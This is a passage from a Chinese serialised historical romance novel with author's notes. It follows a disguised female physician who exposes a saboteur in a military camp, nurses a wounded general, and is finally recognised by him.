昏迷一天一夜,他这会身躯不宜挪动,只能就着长缨的手,勉强喝上几勺清粥。 经通禀,杨靖带着一众相干人等进来,侯在屏风外面。 霍霆脑袋在枕头上偏了偏,视线擦着屏风的边缘,落在最后头的医郎身上。 小小一道瘦削的身板,乍看其貌不扬,细瞧身姿窈窕。 小小年纪,浑身透着从容不迫的气度,与寻常的乡野大夫大相径庭。 若有所思片刻,霍霆意味不明地哂笑了声,干涩的唇角勾起一抹淡淡的弧度,苍白的色犹焕然新生。 “人都到齐了?那就说说罢。” 话音刚落,上方就投来一大片阴影。 长缨忧色忡忡,伸手探了探霍霆的额头,又摸了摸自己的,百思不解。 这也没有发热啊? 他已经记不起自家王爷上一次如此展露欢颜,是何年何月。 今个这是太阳打西边出来啦? 床头,霍霆眼前一黑,脸色也一黑。 他不待见地觑着堵在面前的人墙,不悦开口:“站一边去。” “你挡着我了。”—— 作者有话说:挡着我看媳妇了[让我康康] 第65章 她几乎半伏在男人肩上…… 屏风外, 站着一行七人。 杨靖和吴广两位副将,华姝和顾朝两位疑犯,被萧成赶过来听审问结果的林晟,以及两位牢牢摁着凶手的士兵。 凶手双臂被反剪在身后, 双膝跪地。 一抬脸, 赫然是柳大夫的模样。 长缨出来查看, “居然是你?” 柳大夫浑身一阵乱颤,连声否认。他坚称是今夜熬煮太多汤剂, 累迷糊了,一时不慎才走错了大帐。 他磕头如捣蒜,“冤枉啊将军!草民上有老下有小,就算借给我天大的胆子,也不敢对霍将军下手哇……” “好个刁民,我看你是不见棺材不落泪!”杨靖怒喝:“来啊,上家伙!” 早就士兵等在外面,刑具“哐当”几声就重重砸在地上。 三五副刑具或铁或木,锈迹裹着寒光, 棱刺、链环磨得发亮, 凹缝里嵌着暗褐干痂, 浓稠的腥臭刺鼻……件件皆带血痕秽物,静立也透着蚀骨的戾气。 华姝未近前, 已觉寒芒钻肤, 心头发紧。 而跪在跟前的柳大夫, 更是吓得面色惨白, 止不住地挣扎着往后缩。 杨靖怎会给他机会逃脱? 一把拽住他衣领,就将人五花大绑到十字木架上,疾声厉色:“你说是不说?” 柳大夫看向那浸了盐水的倒刺皮鞭, 瞳孔骤缩:“……说说说,我全说。” 他喉头吞咽了下,眼珠仓惶地在华姝、顾朝两人身上各转一圈,视线突然直射华姝,“是他,都是他指使我的!” 众人始料未及,面面相觑。 华姝则是好笑:“那你倒是说说,我于何时何地指使你的,可有人证、物证?” “做这等事自然要避着人,但你用一百两收买于我,那银票现在还揣我身上呢!” 柳大夫言之凿凿,越说越有底气:“不然你昨夜为何刚好出现在马厩旁边,不就是在替我望风吗?” 他面朝杨靖,一个劲地挣扎着表忠心:“他是主犯,我是从犯,草民真的什么都不知道啊,一时猪油蒙了心,还望杨将军开恩呐!” 说完更是声泪俱下,鼻涕横流。 林晟看乐了,“还挺像那么回事。” 长缨嗤笑:“又会医术又会唱戏,你如此能耐,何必过这等刀尖舔血的日子?” 杨靖和吴广对视一眼,也嘲笑连连。 柳大夫听傻眼了,急得恨不得跳起来,极力辩解道:“不是,各位大人为何就信他不信我呐?” “得了吧。”林晟撇嘴:“且不说人家张大夫昨夜尽心尽力,照顾王爷一整夜。单说人家在这云城的口碑,是你柳大郎能比的?” 吴广也道:“凡事提到张大夫的名号,这城中的百姓就没有一个不竖大拇指的。你怎么就不栽赃顾主簿呢?兴许还有点可信度。” 啥坏事都没干的顾朝:哎??? 他一脸无辜又迷茫,逗得华姝憋笑。 顾朝哭笑不得,朝她无奈耸了耸肩。 旁若无人的肢体互动,默契又亲密。 然后众人就感觉,屏风后面的气压陡然一沉,后脊嗖嗖的发凉。 一直未出声的霍霆,豁然开口:“本王最后一次问你,究竟受何人指使?” 柳大夫:“王爷明鉴,小人真……” “打!” 霍霆一声令下。 士兵扬起皮鞭就“啪啪”抽了过去。 柳大夫当场就皮开肉绽,血痕交错。 饶是疼得哀嚎连连,他扔不忘声泪俱下地喊冤:“你们这是屈打成招!堂堂镇南王竟如此草菅人命,真是让大昭百姓寒心呐——” 撕心裂肺的惨叫声,像一并尖锐的刺刀划破幽静的夜色,惊得不少士兵出门查看。 华姝皱了皱眉,从荷包摸出一支三寸长的精钢细针。 针身仅发丝粗细,灯光下寒芒森森。 柳大夫一瞥,霎时僵住。 他目露惊愕,难以置信地看向华姝,一度都忘了伪装,“怎么会?你竟然……” “这么隐秘之物,竟真被发现了?” 华姝会心一笑:“确实好巧思。但恰恰是这枚涂有兽骨胶的银针,出卖了你。” 其实在杨靖一早来抓华姝时,林晟就跳出来反对,说辞几乎与萧成的一模一样。 但为着抓住真凶,众人决定演出戏。 起初,军中兽医确实未查出死因。 待众人从马厩散去,华姝又仔细检查了一遍逐日的体表,就见它马蹄与腿骨连接的缝隙间,有一处不易察觉的暗黄色锈斑。 她凑近细闻,异味腥膻。 且似曾熟悉。 她废了好一番功夫,完整剥落下这根极细的钢针。彼时钢针外表还裹着一层薄薄的暗黄外衣,扔进滚烫的浓醋,才露出真面目。 而那外裹的暗黄外衣,正是兽骨胶。 遇热会软化成黏腻的膏状,将针身与皮肉的缝隙严丝合缝地黏住,连半滴血都渗不出来。然而一旦上战场,随着马匹奔跑的颠簸,就会将内里的经脉磨得稀烂。 待马尸冷却,又会恢复原状,将钢针完美地隐匿起来。 马蹄此处皮肉最薄,经脉却最密集。 深谙此道的真凶,很可能懂精通医理。是以,就有了林晟和杨靖在军医大帐的那出大戏。特意挑在晚膳时分,就是为着所有人都在场。 华姝不疾不徐讲完,在场众人饶是事先知晓,仍不得不暗叹这暗器之精妙。 当然,也愈加警惕操控这一切的人。 不料,这柳大夫还是个硬骨头,都被抽得血淋淋的、浑身没一块好皮了也不肯说。 局势一度僵持不下。 远处遥遥传来三下敲梆子的声响,夜色已过半。 华姝没忍住,浅浅打个哈欠,泪眼蒙蒙。 然后就听见,屏风内的男人忽然出声吩咐:“先将人拖下去,严加看管。其余人也折腾了一夜,早些回去歇罢。” 她面上一喜,忙同其他人一道拱手告辞。临走前不忘朝屏风内悄悄望上一眼,像只探头探脑的小仓鼠,机灵古怪的很。 霍霆无声展颜,目送她身形远去,直至彻底消失在大帐的门外。 他缓缓收回目光,转而叫住杨靖,柔和的脸色一瞬间端肃而严正:“这贼人受如此重刑都不肯招供,也没有咬舌自尽,只怕是真等着同伙救他呢。” 杨靖醍醐灌顶,抱拳叹服:“还得是老大,我即刻带人暗中秘密搜查。” * 林晟回去后,一晚上辗转反侧,为着三军将士的安危着想,最终婉言将王大夫辞别归家。 而华姝种种表现优异,得以留在军中,继续帮着他们看顾伤患。 这里的伤患,主要指代一人。 次日一早,朝阳灿烂,微风拂面。 华姝前往主帅大帐去给霍霆换药。 正值早膳,时不时有将士端着饭碗经过,同她打招呼问好:“张大夫早啊,你今日怎么还提着个食盒,莫非是拿错药箱啦?” 其他汉子们闻言,不由轰然大笑。 华姝也笑,“是给霍将军的药膳。” 大伙一听,皆是肃然起敬,再无人敢打趣她。 有小兵瞧着碗里的干巴菜饽饽,忍不住羡慕:“也不知道啥时候能有人给我做药膳,唉。” 旁边的人打他一拳,“萧将军都还没这待遇呢,就你?等着下辈子吧!哈哈哈……” 华姝忍俊不禁,辞别他们,一路行至主帅大帐。 现如今她在军中几乎无人不知,帐外的侍卫远远一瞧见她,就主动进帐帮忙通禀。 帐中视线稍暗,比不得外面光亮。 今日特意燃了一炉安神香,气味浅浅淡淡,似檀似麝。 床榻上,霍霆胸膛仍是缠着厚厚的白布,不能大幅度挪动,长缨只敢给他多垫个枕头,半靠躺在床头,方便饮药进食。 如华姝所料,火头营的厨子做饭食粗糙。今早的膳食仍是清粥小菜,长缨正蹲在矮木几旁,用汤匙仔细地舀着粥碗散热。 二人偏头看过来,相继注意到食盒。 长缨不解:“张大夫这拿的是?” 华姝将食盒放在矮木几上,打开盖子,露出里面点缀了鲜绿葱花的药膳素粥,“家里药材和灶具齐全,草民就擅自为将军备了些吃食,还望将军笑纳。” 长缨眼一亮,看向霍霆,“王爷,这粥好啊。不仅色香味俱全,还颇为滋补。” 却见他家王爷神色如常,像是一早就预料到了似的。不,也并非毫不波澜。刚刚还为军务而厉色严肃的脸上,这会肉眼可见得露出柔色。 只见他眉梢微蹙,凝看小医郎,语气温和:“昨日折腾回去已是半夜,难为你还要一大早起来替我熬粥。” 华姝昨夜只睡了不到两个时辰,确实有些疲乏,却没想到这常年行军打仗、刀尖舔血的八尺糙汉,竟会顾及到这一层。 不过想想也是,早前在京中时,他也是处处为她着想。 华姝轻笑解释:“无妨,熬粥简单,昨夜扔进锅里小火慢炖,今早起来正好趁热喝。况且草民年轻力盛,偶尔缺觉也不打紧的。” 闻言,霍霆若有所思。 也不知道她哪句话说错,就见他眸光隐隐一黯,闷闷不乐的。 不待华姝细想,长缨瞧瞧手上寡淡的白粥,出声为难道:“王爷,那这粥……” 霍霆淡淡地瞥了眼,道:“萧成这两日在军医大帐不是总闹腾么?拿去给他,好生败败火。” 华姝啼笑皆非,默默可怜萧成一瞬。 长缨幸灾乐祸:“好嘞!” 待他一走,大帐就只剩两人,上药和喂粥的事全落到了华姝的头上。她请示:“将军,您是想先用膳还是先换药?” 男人倚靠在床头,墨绿薄被盖至腰部。脸上气色不似昨夜的蜡黄如纸,依然透着些许苍白。 不过此刻他剑眉微挑,星目染笑,连眉骨的细疤都透着勃勃生机,自带一股粗犷的俊美。 他好整以暇地瞧着她,“听你的。” 听、听她的? 华姝怔了一瞬,这说辞听着怪怪的。 她如今一介小小草民,哪能轻易替堂堂三军主帅拿主意,应该是遵从医嘱的意思吧? “那就先换药?粥碗正好散散热。” 不出预料,霍霆颔首应下。 华姝蹲下身,从床下翻找出林晟留在这的药箱,拿出纱布和几个金疮药瓷瓶,在干净的研钵内,按不同剂量调制好,搅匀。 药香淡淡弥散在空气里,苦中微甘。 她又取出一把大夫专用的小铜剪,担心被误会行刺,特意说明:“您现在不宜挪动,草民直接将旧纱布剪碎。” 霍霆不作迟疑,再次颔首。 信任极高,让华姝再次觉得怪怪的。 但涉及利刃,她不敢分心,避开他胸口的伤患处,远远剪碎挂在肩膀上的纱布,慢慢剥下来。 用的都是御用金疮药,只经过一天两夜,缝合的箭伤已薄薄结痂,但依旧娇嫩得很。 唯恐伤口开裂,她动作小心再小心。 尤其绕到背后缠纱布时,她几乎半伏在男人肩上,暂时撤去枕头,一只手顺势托住那沉重挺阔的背脊,不敢让他左臂受力分毫。 等一圈圈纱布缠绕下来,华姝两只手腕累得酸胀发抖,热汗直冒。 这期间,上方男人的视线始终落在她身上,一瞬不瞬地盯视着,半晌不曾挪开。 这才对嘛,哪能对她没一丝戒备呢? 一方素帕映入眼帘,“擦擦汗。” 华姝:“……?” 霍霆完好的右臂靠近床里侧,握着素帕子抬手伸向华姝,堪堪够不到她人。 她白皙的纤颈香汗淋漓,面部应是被假脸皮罩住的缘故,一滴汗没有,却不知闷在内里该是怎样的潮热难耐。 他凝看她半晌,缓慢蹙起眉,到嘴边的某些言辞终是卡在喉头,指了指角落的洗脸架,“过去擦拭下。” 华姝道谢接过帕子,走到角落,背对着他悄悄摘下假脸皮,仔细擦整一番。 霍霆默不作声望着,望着那一抹小心谨慎的倩影,微不可闻一叹,缓缓阖上双眼。 床头,安神香混着药香,繁复缠绕。 片刻后,他睁眼看向那碗热气腾腾的药粥,眸底又浅浅升起些许微光。 华姝走回来,坐到床边。 她先避嫌地用银针试验无毒,才递过去一勺,待他缓缓咽下,“味道可还合适?” 霍霆静静凝看她,“很合胃口。” 华姝勾唇:“那您就多吃些。” 霍霆复而颔首,饶是舌尖味觉寡淡,还是由着她喂下大半碗。 期间两人有一搭没一搭先聊着,他道:“那日听你说曾在外游医,都去过哪里,遇到过什么见闻,同我说来听听。” 华姝讶异看他,却见男人眼神古井无波,并无异样,似乎单纯是因为干躺在这无聊。 她不疑有他,略想了想,捡了几件有意思的趣事说与他听,眼见他肃正的眉眼一次次染上暖色。 倏然之间,霍霆脸色凝结下来。 华姝不解其意,没敢妄动,端着粥碗默默等了好一会。 忽闻他缓声喟叹:“这般也好。” 他道:“人生短短几十年,能四处游医济世,总比常年困于一隅要来得有意义。” 华姝眸光微亮,这是两人从未触及过的领域! 从小到大,她见过太多女子困于后宅,饶是尊贵如皇后,一生也鲜少能踏出皇城。 本以女子一生就应当如此,直到这次的意外游历,让她见识颇多。原来,纵使繁华如燕京城,亦不能包揽世间所有美景美食。 一路南下,有些方言奇奇怪怪,听得她头昏脑涨,却莫名觉得很有意思。 尤其行医问药方面,有些小城的土偏方,就连父亲医书也不曾记载。有时她狂妄自大地想,自己这番游历,算不算青出于蓝而胜于蓝呢? 可惜云城的百姓,生平也大多只待在一处。她一路的所见所感,始终就只能藏在心里。 但霍霆就不同了,他阅历丰厚,见识广博,是能懂她的。 华姝备受鼓舞,又如数家珍地讲述许多趣事。偶尔也会涉及惊险的一幕,譬如她是如何反向迷昏黑店老板、智斗偷她钱袋子的小贼。 因着讲得过于兴奋,以至于没留意到,男人眼底一掠而过的忧色。 他目光专注而欣赏,好像在看一件稀罕珍宝,怕它不能现世大放异彩,又怕它被贼人惦记上而受伤。 期间,长缨欲进来复命,接到自家王爷一个眼色,又轻手轻脚退出去。 他站在帐外悄听着小医郎的经历,亦是颇为震撼、叹服。他自认跟随王爷走南闯北多年,竟有些事闻所未闻。 帐中,华姝一下子滔滔不绝讲述太多,等反应过来时,颇为不好意思。 她赧颜摸了摸鼻头,试探反问道:“将军早年征战在外,应该也遇到过很多奇闻轶事吧?” “这是自然。” 霍霆略作回忆,也挑了件趣事。 那一次他们行军时粮草不够,就夜间抹黑去盗取敌方的粮食。粮仓有人专门看守,每隔一段时辰就会过来检查。 为拖延时间,他就让人背了几大麻袋沙子过去,高高地堆成谷堆的形状,然后只在最外面一层撒上薄薄的谷粒。 等次日一早守粮人发现的时候,他们早就背着粮食跑远了…… “气得那敌方将领,一路带人追到我们城门口,破口大骂,什么难听的话都有。” “萧成气不过,就特意坐到城墙上啃饼子。馋得底下的人饥肠辘辘,咬牙切齿,恨不得连他带饼子一起吞了。” 华姝听得津津有味,乐不可支。 唇角攒起两朵梨涡,那双乌亮清润的水眸,更弯似月牙一般。 笑容璀璨,胜过帐外的明媚晨光。 她忍不住追问:“那后来呢?” “后来……” 男人意味深长端详着她,狭长眼尾轻挑,嘴角慢条斯理一笑:“欲知后事如何,且待下回分解。”—— 作者有话说:华姝(叉腰):当时超想打他的! 霍霆挑眉:你想打谁? 华姝(乖巧):自然是那帮贼寇,他们真是太坏了。 第66章 “现在才知道怕,晚了!…… 接下来几日, 霍霆依旧卧床休养。 在华姝精细的照料下,他日渐好转,从最初的不能挪动半分,到后来可以被扶起身靠坐着, 再到自己撑着右臂慢慢靠坐起来。 抓住他养伤的间隙, 南戎敌军日复一日地不断来挑衅, 甚至不惜出动一批批浑身淬了剧毒的死士,不要命地轮番爬墙攻城。 好在都被杨靖、吴广带兵堵了回去。 但因着这波死士, 霍家军的伤亡亦是惨重。兵力锐减的情况下,对草药物资的需求则成倍攀升。城门外大批敌军围堵,云城现有库存加剧告急! 霍霆每日靠坐在床头,对着铺在面前的作战布防图,常常神色凝重。 华姝有时过来换药,撞见他在出神,也不敢搅扰,就默默等在一旁,最久的一次等了将近一个时辰。 霍霆知道后, 沉脸将长缨训斥一顿。 长缨颇为费解, 让张大夫等一会怎么了嘛, 难不成小医郎的时间比军机大事还重要? 他当场大喝一声:“属下遵命!” 同样“无辜”被骂的,还有杨靖—— 是日, 包括躺在担架抬过来的萧成, 杨靖三人被霍霆召过来, 共同商议“调虎离山”之法。 四人围坐成一圈, 中间放着布防图。 霍霆拿着代表军力数量的小旗,边比划边道:“今夜待到破晓前,护送一千精兵骑马突围。” “去宜城借调物资吗?”吴广眉头紧锁, “此前物资就是从宜城借调的,朝廷一直不增派支援,这样下去不是办法啊。” 霍霆:“不错,此行要去南戎。” 一听要偷粮草,萧成乐了,他熟啊,“可惜我这破腿不顶事,否则一定要亲自带队。” 杨靖白他一眼,“一千精兵就敢去人家的老巢偷粮草,你开什么玩笑?” 萧成:“嘿嘿,你不行呗。” “你——”杨靖瞥见霍霆的警告,瞬间老实下来。 “此行山高路远,一千精兵去偷粮草确实少了些。”霍霆眼神幽幽一凛,“是以只烧不抢,造势越大越好。” 其他三人互相对视一眼,恍然大悟。 “造势过大,显得人马众多。让他们误以为我们从宜城调兵攻打南戎,围魏救赵。” “实则只是调虎离山。” “我们如今还剩两万多人,他们是五万兵马,但凡调走一万,咱们正面全歼的几率就能直接翻倍!” “好计策啊!这个计策好……” “但是老大,这样一来,物资紧缺的问题还是没能解决啊。”吴广眉头依然紧锁。 霍霆点点头,看向萧成,“那一千人马安全出城后,会给濯缨他们飞鸽传书。” 萧成瞬间懂了,当即一拍胸脯,“接应的事交给我!虽说我不能亲自出城,但调派手下的人保管没问题。届时以烟花为信号,定让他们毫发无损地押送粮草进城。” 几个兄弟一拍即合,不由抚掌大笑。 华姝就是这时挑帘进门的,她端来一碗热汤药,“霍将军,该喝药了。” 霍霆伸手接过,一饮而尽。 华姝接过空碗,又递过去一盏清茶,让他漱口洗去药味的苦涩。 一旁,杨靖还在埋头对着布防图,继续琢磨今夜的突围方案。他想也没想,朝华姝摊开手掌,“也给我端一盏茶来。” 话音刚落,后脑勺啪得挨了一巴掌。 霍霆冷眼斜视他,“你没长手啊?” 杨靖难以置信:??? 他堂堂一个朝廷正三品武将,连使唤个小医郎的资格都没有啦? 后来,连林晟也察觉到霍霆的异样。 随着张小医郎的异军突起,王爷开始嫌弃火头营做饭难吃,开始嫌弃他们军医上药时毛手毛脚,甚至第一红人长缨侍卫都不吃香了。 这天清早,长缨闲闲散散地溜达到军医大帐,同大伙一起挤着用膳。 林晟瞟他,“王爷又瞧不上你啦?” 长缨长叹一声,只觉说多了都是泪。 林晟:“其实吧,我有个大胆的猜测。” 长缨挑眉,“说来听听。” 林晟犹豫:“但我不知当讲不当讲。” 长缨哼了声:“那你还是憋着吧!” 林晟:“……” 其实呢,长缨这几日也反复深思,张大夫之前说的“除了亡妻,我心中已经装不下其他人”一事,让他心有戚戚。 不能够吧? 满打满算,表姑娘也就才离开两年。 王爷不仅变心了,连喜好都变啦? 殊不知,连华姝本人亦是深感怀疑。 霍霆是不是已经发现她身份了? 然而近日观察下来,他一颗心全扑在作战布防上面,或坐或卧,或深思或熟虑,有时都注意不到她的存在,看上去与往常一般无异。 犹疑之间,她很快被另一人吸引去了注意力——师父,骆嘉然。 * 随着战争进入白热化阶段,云城全面戒严,一般人出不去,外面的人也休想进来。 直到这晚,一簇信号烟花陡然升空—— 萧成反应迅疾,唰唰唰几下就整顿好兵马,命人出城接应。 华姝也随林晟几人前往城门口,接管运送进来的药材。 为首的押运之人,竟是那个经常爬她屋顶的濯缨。 不同于往日的寡言憨厚,此时他于高头黑马之上,正襟危坐,英气逼人。 后面马车两侧,整齐排布着两队蒙面的黑衣暗卫。他们身姿笔挺,剑鞘寒光压迫。庄严肃杀的磅礴气场,一度逼退前来接应的云城县丞和捕快们。 还是等林晟上前搭话,才得以成功交接一应物资。 华姝身量小,好在晒干的药材也轻。 旁的军医肩抗两大麻袋,她就怀抱着一麻袋,跟在队伍最后慢慢往回挪。 沿路灯火通明,周围也都是些抗米粮、运瓜果蔬菜的人,嘈嘈杂杂,扁担挑木桶的“嘎吱”声络绎不绝。 忽然,一道熟悉的笑声传入她耳中。 华姝反应几瞬,将信将疑地抬头望去,前面与林晟并肩谈笑的背影,像极了她那个不着调的隐形师父,骆嘉然。 他也来云城了吗? 他怎么进来得呢? 华姝总怀疑自己认错了人,想凑近一看究竟,奈何抱着大麻袋又走不快。 就这样一路瞄着他的背影,直到回到军医大帐,期间还好几次撞到人。 待将麻袋放到指定的位置后,林晟主动招手喊她过去,“来,给诸位介绍一下。” “这位是李军医、刘军医……这位是云城的张大夫,虽是年纪轻轻,却颇具天赋。” “至于这位,则是宜州府远近闻名的骆氏药铺的大东家,骆大夫。此次能短时间凑齐这么多药材,可真是多亏了骆大夫啊。” 华姝顺着林晟的视线望去。 对面言笑晏晏的风流美男子,可不正是她那位不靠谱的师父么? 两年不见,他面容依然俊朗无涛,肤若凝脂,吹弹可破。 与此同时,裴夙亦在打量这位张大夫。此前收集的情报中,并无这号人物。但能让林晟花费一番口舌特意介绍,相比定有过人之处。 他不着痕迹地收回目光,朝林晟拱手客套道:“哪里哪里,林军医客气了。能为国为民尽一份绵薄之力,实乃我骆某的荣幸。” 说罢,又朝华姝几人一一见礼。 华姝随众人一道回礼,不动声色观察下来,发现师父并未过多留意她。 应是没认出来吧? 毕竟她的易容术已学得炉火纯青,瞒过这么多熟人呢。 又稍作忙碌,她转到大帐门外,继续看管火上的一排药炉。 夜风习习,再拿着蒲扇一扇,炭火猩红,药香拂面。 远处嘈杂的搬运声,混着笑闹声,和悦耳的莺啼声,让静谧的月夜显得空灵而幽远。 忽然间,地上多出一道欣长影子。 不待她反应起身,后脑勺就被人一顿呼噜毛。 华姝难以置信仰头,正对上一双人畜无害的笑眼,清明透澈,犹似一对带钩的弯月。 她压低声音:“你怎么认出我的?” 裴夙当然不能说,自己也常年易容,能一眼就瞧出端倪。 他双手微微提起月白衣摆,屈膝坐到华姝身旁的矮凳上,慢悠悠开口:“你有个特别好认的习惯。” 华姝:“什么?” 裴夙以手支头,笑瞧她:“你每次写药方前,喜欢先思量一番,会习惯将毛笔的尾部戳在桌案上。直到想清楚后,才会转笔蘸墨,一气呵成。” 华姝拧眉,“可这种习惯,也不见得就我一个人有吧?” 裴夙点头,“是以,为师刚刚没敢认,这不等到现在才来对暗号了嘛。” 华姝气笑了,“合着您刚刚在诈我啊。” 裴夙冁然而笑,一双月眸碎光点点,兴致正浓时又忍不住地伸手给她呼噜毛。被华姝不客气地一把拍掉手,他不怒反笑。 两年不见,他已经许久没这般快哉。 华姝懒得理会他这幅没正行的样子,垫着帕子一一掀开药炉的盖子,查看汤药的熬煮程度。 裴夙环顾一圈,见四下无人,状似寒暄地低声问道:“为师怎么记得,当时给你的路引不是这个名字?” 华姝动作微滞,又娴熟地盖好药炉。 她自是不能说,事关华府满门凶案,她要防着除了霍霆以外的所有人。 顿了顿,若无其事地苦苦一笑:“可别提了。路上不小心被人识破,差点被抓紧监牢,后来只好托人另办一张。” 裴夙不置可否地笑笑:“难怪了。” 然而,面对把持锦衣卫十多年、手眼通天的大昭第一宦官,华姝的心思还是太过稚嫩。 早在两年前,她一离开京城隐匿行踪后,就有无数的探子一封封密信往上报。 她如今这番谎话,恰是印证了裴夙的猜想——华不为当年留下的线索,十有八九就在云城。 * 南戎城外围剿,裴夙不能轻易出城。 但因着奸细柳大夫一事,军营中也不能轻易收留外人。 最后和林晟商量一番,裴夙就暂住在惠春堂,白日里还能帮着打理打理医馆的生意。 惠春堂的后院一共两间厢房,华姝住东间,将西间的杂务收拾到了柴房,腾出来给裴夙住。 一番折腾,天边又是月明星稀。 华姝轻捶着酸胀的肩颈,拎着一大桶新出锅的热水,关门回到自己房中。 她瘫靠在书案前的木椅上,预备稍作歇息,就沐浴梳洗。 书案连接窗台,轩窗半掩。 邻居家的蓝花楹的树枝伸过来,随凉风沙沙作响。仲春时节,一串串蓝紫碎花的暗香浮动,沁人心脾。 书案上摞着厚厚的医书和脉案,唯独角落有一面六角铜镜。 她拿到面前,映照出小医郎那张平淡无奇的假面皮,抬手正欲揭下,镜中却又映出一张熟悉的面庞。 华姝眼皮倏然一颤,手心撑着书案回身瞧去,撞进一双漆黑幽深的眸中。 昏黄灯光下,男人眼神浓稠得可怕。 她半晌才听到自己的声音:“将军,您这是……” 霍霆又逼近前一步,魁岸身形逆光而立,大片的阴影笼罩下来。 小房间的空气顿时变得稀薄、逼仄。 他居高临下觑着她,玄色外袍浸满夜里的寒气,神情冷肃,气压威凛。 分明一字没说,又好像什么都说了。 华姝心尖狂跳,缓缓站起身,嗫嚅:“您、您都知道了。” 他依旧不语,沉沉凝视着她。 她低眉垂眼站着,像个做错事的孩子,等待大家长宣布惩戒的措施。 好半晌后,窗外的蓝楹花幽香拂来。 华姝透过书案上的铜镜,窥得男人剑眉低碾的眼睑下,情愫渐变复杂。 有恼愠,有怅然,有克制的思念,有失而复得的欣慰,以及一些凭她的阅历尚且不懂的晦暗沉沉。 她心脏紧紧抽痛,大着胆子抬头看去。 被男人粗粝的大手顺势捏住了两颊,他力道不算温柔,口吻严正。 “现在才知道怕,晚了!”—— 作者有话说:晚点还有一更 第67章 “以后还跑不跑了,嗯?…… 饶是盼了多时的失而复得, 霍霆回忆起整件事仍旧气得不轻:“小小年纪,一个人就敢跑来云城?玄儿遭的教训,你是一点没往心里去?” 华姝杏眼水灵灵望着他,忍住没笑。 本来还担心他会对她“大刑伺候”, 一开口全是满满的关切。她雪腮被捏鼓鼓的, 红润的唇瓣嘟成一朵花, 说话瓮声瓮气:“我知道错了。” 清澈的眸光七分乖巧,三分俏皮。 看得人舍不得再对她说一句重话。 霍霆放下手, 却决计不能轻易绕过她,继续板脸道:“少在这巧言令色!将你这副样子除了再同我说话。” 华姝乖乖照做,转身面对铜镜,仔细地一点点揭下假面皮。 霍霆重伤未愈,抬手携过木椅,大马金刀坐下,透过铜镜端详着全过程。 那假面皮左右各有一处圆套,能套到耳后,将下颌、鬓角各处一齐兜遮在其中。 是以从正面端详她整张脸, 各处肤色匀称, 栩栩如生。若非相熟之人, 当真识破不了一点。 他兀自气闷一声:“两年不见,倒是长了不少本事。” 华姝露出本来容貌, 用湿帕子擦拭过, 肌肤宛如剥了壳的蛋清, 出水芙蓉。 她软软地扯他衣袖, “上次不是谈过了么,收获还是很多的。” 霍霆墨眸轻挑,“合着那日同我说那般多, 就是为着今日留退路呢。” 华姝:“是真心想讲给你听。那些事,也只讲给你一人听过。” 霍霆气笑了。 明知她在卖乖,心肠却止不住发软。 他右臂长长一捞,就揽过她腰肢,将人按坐在右腿上。 指腹缓缓拂过许久未见的瑰丽眉眼,后仰略作打量,又长开了些,脸蛋褪去婴儿肥,变得些微消瘦、些许娇媚。 华姝避开他左胸的伤口,静静依偎着他,轻嗅他身上的檀木冷香,只觉空悬多时的心终于安定下来。 霍霆手臂圈紧她腰肢,阖上双眼,下颌轻轻摩挲着她头顶,一下又一下。 两人就这般相拥多时,没有一句问候,每一个久远又熟悉的细微动作都充满思念。 蜡烛摇曳,墙上映出亲密交叠的剪影。 几片蓝楹花瓣被吹落窗台,空气中盈香阵阵。 不知过去多久,华姝额头亲昵地蹭了蹭男人胡茬微青的下巴,“家里,都还好吗?” 霍霆:“分家了。” 华姝不由坐直,忧色忡忡盯着他,唇瓣张了张,一时又觉得不论说什么都已是徒劳。 霍霆睁开眼,握住她手,“不是你的错。” “霍家日渐势大,既已被圣上忌惮,若不生离,迟早就是死别。” 华姝瞳仁惶动,“那……祖母呢?” 霍霆:“跟着你二伯父。” 他不疾不徐讲述道,彼时霍老夫人卧病在床,没人敢同她提及华姝的事,阖府瞒着,只说是陪着福佳公主和亲走了。 为此,二姥爷霍霄特意另置一处僻静宅院,丫鬟婆子全换一通,只留下二夫人的奶娘钱妈妈,和桂嬷嬷两个老人。 尽管如此,老夫人依然哭了好一阵。 直到霍玄平安归来,才算缓过来些。 “我出征时,她由桂嬷嬷扶着,出门送行来着。” 闻言,华姝缓缓吁出一口浊气。 霍霆继续往下讲。 三夫人得知华姝沉塘后,挺解恨的,心情一好,病症意外减轻不少。 后来,经过前任老原判诊治一番,又拿名贵药材精心调养着,发病次数越来越少。 华姝“哦”了声,淡淡道:“其实,我跟她感情不深。主要是三叔,幼时你不在家,他年岁最轻,经常带着我和千羽表姐一起玩。” 霍霆爱怜地揉了揉她头,“你三叔去岁来信,官职已升至正五品。” 华姝眼一亮,“那感情好。想来霍府分家后,当真让圣上少些忌惮,多些重用了呢。” 霍霆颔首,好整以暇瞧着她,未再言语。 华姝抿唇,这人肯定是故意的。 分明知道她和大房的关系最亲厚,尽管最后闹得不愉快,但还是忍不住会想念他们一家。 然而涉及霍玄,她又不敢开口问,唯恐哪句话惹着这男人,又好一顿收拾她。 “可怜见的。”霍霆揶揄地戳下她脑门,温声:“你千羽表姐订婚了。” “……当真?!” 华姝愣了片刻,旋而喜悦之情溢于言表,瞬时红了眼圈,她握着住他手腕,急着确认:“可是蒋骁?” “不错。” 霍霆回忆道:“他们两人怎么私定终身的,我没过问。只知道蒋家起初不同意,他直接跟家里闹翻了,要自立门户。” “那小子倒是条汉子,比我果决。” 他看向窗外远方,自嘲一笑。 华姝同他十指相扣,轻声细语:“你肩上担子重,我都明白的。” 霍霆将她重新揽入怀中,缓了缓,道:“后来你大伯来跟我商议,将户部那差事先调换给了蒋骁,换作千羽的一项嫁妆。冯老太师爷也出面说和,结果还算圆满。” 华姝轻倚着他,由衷欢喜:“真好。” “订婚那日,你大伯父喝醉了,事后忽然拉住我,”霍霆顿了顿,喟叹一声:“他说,经由蒋骁这一遭,慢慢能理解咱们了。” 怀中的姑娘一时失去回应。 空气安静下来,安静得连她的呼吸声都能听清,微有凌乱,透着窸窣的压抑。 须臾后,霍霆衣领泛起一阵濡湿,烫入皮肤,烫得他五脏六腑揪紧。 他偏过头,凑过去吻了吻她眼角。 那泪水扑簌簌的,似是决堤一般,更凶了。 他墨眸略作沉吟,清了清嗓子:“问了这么半晌,怎么就独独不问我?” 华姝泪眼朦胧,迷惑抬起湿漉漉的眼睫,“这不是在跟前呢嘛。” “在跟前就可以不管不问?” 霍霆本意是转移话题,结果越说越气不过,像被一句话点着的炮仗,板脸瞪她,“说什么愿我岁岁平安,你不在身边,让我如何安?” 华姝拧眉反应片刻,这会难道不该他来安慰她的么? 奈何他气场过于威压迫人,她吸了吸红彤的鼻头,认错态度诚恳:“我当时也是没办法。” “都未曾与我商议,怎就知道没办法?” 